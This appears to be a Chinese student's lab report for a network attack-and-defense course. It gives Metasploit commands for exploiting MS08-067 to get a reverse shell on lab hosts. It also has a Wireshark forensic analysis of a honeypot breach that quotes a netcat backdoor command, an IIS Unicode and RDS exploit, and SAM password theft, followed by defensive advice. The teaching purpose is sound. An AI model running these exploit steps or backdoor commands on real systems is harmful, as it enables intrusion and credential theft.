20212912 2021-2022-2 《网络攻防实践》第六次作业
2.1 Metasploit windows attacker实践
1.知识梳理
1.1Metasploit
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
Metasploit常用命令介绍
命令 |
介绍 |
show exploit |
列出metasploit框架中的所有渗透攻击模块。 |
show payloads |
列出metasploit框架中的所有攻击载荷。 |
show auxiliary |
列出metasploit框架中的所有辅助攻击模块。 |
search name |
查找metasploit框架中的所有渗透攻击和其他模块。 |
info |
展示出制定渗透攻击或模块的相关信息。 |
use name |
装载一个渗透攻击或者模块。 |
LHOST |
目标主机链接的IP地址。 |
RHOST |
远程主机或者目标主机。 |
set function |
设置特定的配置参数。 |
run scriptname |
运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。 |
use priv |
加载特权提升扩展模块,来扩展meterpreter库。 |
use incognito |
加载inconito功能(用来盗取目标主机的令牌或是假冒用户) |
getsystem |
通过各种攻击向量来提升到系统用户权限。 |
shell |
以所有可用令牌来运行一个交互的shell。 |
1.2ms08-067
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution). MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。
1.3Windows身份认证机制
安全主体:进行系统资源访问请求的实体对象,包括用户、用户组、计算机。(有唯一标识SID)
Windows为每个用户和计算机设置账户(accounts)进行管理;(限制账户内运行程序对系统资源对象的访问。
Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中;对于试图使用Windows系统的用户与远程计算机等安全主体,Windows通过一些秘密信息来认证安全主体真实合法的身份,进行用户身份认证,支持本地身份认证和网络身份认证(客户端访问网络服务器资源时,客户端Netlogon与服务器端Netlogon进行基于"质询-应答式"的身份验证协议过程)两种;
Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程
使用不安全的NTLM和LANMAN协议,攻击者可实施针对Windows的远程口令监听与破解
1.4Windows攻防技术
Windows本地特权提升:主要通过DLL注入和破解本地程序安全漏洞提升本地特权;Windows敏感信息窃取:Windows系统口令密文提取技术中使用磁盘修复工具包中的rdisk工具创建SAM备份文件副本,并且使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文;Windows消踪灭迹:这里主要是攻击者攻击之后需要清除自己的痕迹,一般采取的方式有:关闭审计功能、清理事件日志;Windows远程控制与后门程序:攻击者在目标系统上完成提权、信息窃取、掩灭踪迹后为了下次能再次登录这才主机会设置后门程序。
1.5环境配置
机器名称 |
IP地址 |
kali |
192.168.200.3 |
WinServer2003 |
192.168.200.4 |
2.实践过程
2.1 Metasploit windows attacker实践
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
kali中输入msfconsole启动kali里面的msfconsole
使用命令search ms08_067查看漏洞详情,其返回的模块名称即我们要用的模块
使用命令use exploit/windows/smb/ms08_067_netapi 表明将ms08_067作为目标漏洞。
使用命令show payloads查看有效的攻击载荷
使用命令set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接。
使用命令set LHOST 192.168.200.3设置攻击机kali;set RHOST 192.168.200.4设置靶机win2kserver。
使用命令show targets查看可设置的操作系统类型,使用命令set TARGET 0表示自动识别。
使用命令exploit开始渗透,返回靶机shell
使用命令mkdir syh20212912在C:\WINDOWS\system32目录下新建文件夹,打开靶机进行验证。
2.2取证分析实践。
取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
1.攻击者使用了什么破解工具进行攻击
用wireshark打开snort,接下来设置限定条件为:ip.addr==172.16.1.106 and http
可以发现编号为117的数据包发现了异常流量。boot.ini是NT系统的启动文件。而前面的..%c0af..是"/"的Unicode编码,猜测存在Unicode漏洞攻击。
Unicode漏洞是指在Unicode字符解码时,IIS 4.0/5.0存在一个安全漏洞,导致用户可以远程通过iis执行任意命令。当用户用IIS打开文件时,如果该文件名包含Unicode字符,系统会对其进行解码。如果用户提供一些特殊的编码,将导致IIS错误地打开或者执行某些Web根目录以外的文件。
2.攻击者如何使用这个破解工具进入并控制了系统
在140行可以看到有一个msadcs.dll文件,这是一个远程数据访问服务的文件,应当是RDS漏洞
该漏洞可以导致攻击者远程执行用户系统的命令,并以设备用户的身份运行
进行HTTP流追踪,看到!ADM!ROX!YOUR!WORLD!,证实这是RDS漏洞攻击,
msadc.pl/msadc2.pl是渗透脚本工具。并在msadcs.dll存在的MDAC RDS漏洞进行SQL注入
3.攻击者获得系统访问权限后做了什么
确定是msadc.pl/msadc2.pl渗透脚本工具后,接下来使用 http.request.uri contains "msadc" 进行筛选,可以看到攻击机成功往被攻击设备上传了后门工具
然后攻击者使用 c+nc+-l+-p+6969+-e+cmd1.exe 打开后门
尝试提升本地权限,向yay.txt和yay2.txt的文件内写指令,失败后又尝试查看用户组信息,将IUSR加入本地管理员组
获取SAM备份,在上一步获取权限之后转而去继续获取SAM密码。这次rdisk /s-备份关键系统信息,在%systemroot%\repair中会创建一个sam._的SAM压缩拷贝
开启了一个远程shell,成功的获取到了SAM的值,并写入文件har.txt,将SAM备份文件拷贝到IIS的根目录inetpub,并通过web方式进行了下载
4.我们如何防止这样的攻击
口令要具有较高的强度,这样可以增大破解口令难度;定期的打补丁,修复漏洞;要定期的扫描自身的主机,查看是否存在漏洞等危险。
限制网络用户访问和调用CMD命令的权限,若没必要使用SCRIPTS和MSADC目录,删除或改名。
通过移除或删除系统内/msadc目录,同时移除c:\Program Files\Common Files\System\Msadc\msadcs.dll,或安装MDAC 2.1 SP2补丁,并注意及时上网更新
5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
追踪TCP流就可以看到一行字,可知攻击者已经知道这是一台蜜罐主机
2.3团队对抗实践
团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出被攻击的同学信息、使用漏洞、相关IP地址等)
被攻击者IP:192.168.1.110
使用漏洞:ms08-067
kali中输入msfconsole启动msfconsole
输入use windows/smb/ms08_067_netapi选择使用的漏洞
输入set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接
输入set LHOST 192.168.1.111设置攻击机IP;
输入set RHOST 192.168.1.110设置靶机IP;
输入exploit开始攻击
成功执行命令
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
攻击者IP:192.168.1.111
Wireshark拦截到攻击报文
靶机执行并返回了攻击者的命令
3.学习中遇到的问题及解决
1.攻击机ping不通靶机:上次做试验时Windows防火墙忘记关了,关闭Windows防火墙后故障排除。
2.Wireshark内容较多时定位困难:可以使用右侧的滚动条粗略定位,再用PgUp和PgDn进行翻页,找到所需的数据包。
3.set LHOST设置的是攻击主机的地址;set RHOST设置的是靶机的地址,注意不要搞错了。
4.学习感想和体会
在本次实验中,我学会了如何使用Metasploit利用MS08-067漏洞攻击Windows系统,并且成功拿到了shell,可以对靶机进行远程控制。
通过本次实验,我体会到了Metasploit的强大威力,深刻认识到了漏洞的危害性,知道了为什么要及时更新漏洞补丁,提高了我的安全意识。